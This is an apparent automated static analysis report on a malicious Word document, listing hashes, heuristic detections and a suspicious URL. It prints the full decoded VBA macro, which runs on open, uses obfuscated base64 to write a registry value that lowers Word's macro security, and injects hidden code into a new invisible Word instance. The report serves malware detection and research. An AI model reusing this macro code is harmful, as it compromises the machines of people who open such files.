Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 81a3b429b145f355…

MALICIOUS

Office (OOXML)

100.9 KB Created: 2021-04-28 05:07:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-10
MD5: 552e98b66390b278ae4290c4d7d1f8da SHA-1: e81ee3ad5e9ec1092772c512aee1c6ff9e0d3774 SHA-256: 81a3b429b145f355440e03aeb4a3a64ab4b5da11b0a7f478d27bfaff632e2733
130 Risk Score

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    variableAFunc.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString namespaceBorder
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set tableListboxSwap = CreateObject("msxml2.domdocument")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://2000-mclaughlin-rentals.com/bijol/UcftWCDLPXA0naHVXI4Iozi82dsmKBa9QcuGbZ3I6rVr/IAAFvnjSUw0DZfvSmf957MNeQ/MDKUI68AtjUC3SMmUTZE1WeQQ7KMl0fN0JWKNo In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2831 bytes
SHA-256: c8158ab580d69c4f3b2dba0680abfc039b057eae85f05865c4f26871fcc78eb2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{82D7E2EB-47DA-41E7-99DF-2A4EEDFA2F6E}{80363B8B-DB66-4050-A685-DF2DC7D6F55E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "windowValueClass"
Sub autoopen()
funcIndex
Dim constTrustLink As String
constTrustLink = swapVb
structNamespace constTrustLink
End Sub

Attribute VB_Name = "refTemp"
Function ExPtr(ExArgumentConvert As String) As Variant
Dim tableListboxSwap As Object
Dim screenData As Object
Set tableListboxSwap = CreateObject("msxml2.domdocument")
Set screenData = tableListboxSwap.createElement("code")
screenData.DataType = "bin.base64"
screenData.Text = ExArgumentConvert
ExPtr = screenData.nodeTypedValue
End Function
Function bufSizeLocal(pasteViewRight, listW)
bufSizeLocal = StrConv(pasteViewRight, listW)
End Function

Attribute VB_Name = "constBufferTable"
Sub structNamespace(namespaceBorder As String)
Set rightArrayClass = CreateObject("word.application")
Set variableAFunc = rightArrayClass.Documents.Add
variableAFunc.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString namespaceBorder
rightArrayClass.Visible = False
rightArrayClass.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "selectClearFunc"
Function varReferenceStorage() As String
varReferenceStorage = Application.Version
End Function
Function referenceA()
referenceA = "U5UX1VTRVJcU29mdHdhcmVcTWlj"
End Function
Function trustVar()
trustVar = "cript.sh"
End Function
Function memoryStructTable()
memoryStructTable = "VjdXJpdHlcQWN"
End Function
Sub funcIndex()
loadWindowValue = bufSizeLocal(ExPtr("SEtFWV9DVVJSR" & referenceA & "cm9zb2Z0XE9mZmljZVw="), vbUnicode)
leftVar = varReferenceStorage
databaseList = bufSizeLocal(ExPtr("XFdvcmRcU2" & memoryStructTable & "jZXNzVkJPTQ=="), vbUnicode)
clearGlobal = loadWindowValue & leftVar & databaseList
With CreateObject("ws" & trustVar & "ell")
.RegWrite clearGlobal, 1, "REG_DWORD"
End With
End Sub
Public Function funcListboxMemory(ByVal bufProcedure As String) As String
For listboxView = 1 To Len(bufProcedure) Step 2
rightTitle = Chr$(Val("&H" & Mid$(bufProcedure, listboxView, 2)))
documentIndexProcedure = documentIndexProcedure & rightTitle
Next listboxView
funcListboxMemory = documentIndexProcedure
End Function
Function swapVb()
swapVb = UserForm1.TextBox1
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 27648 bytes
SHA-256: 8f8e61a0761a773216f30cad64b7a66afcc897f090b764aa32ca9a0fb4dcd063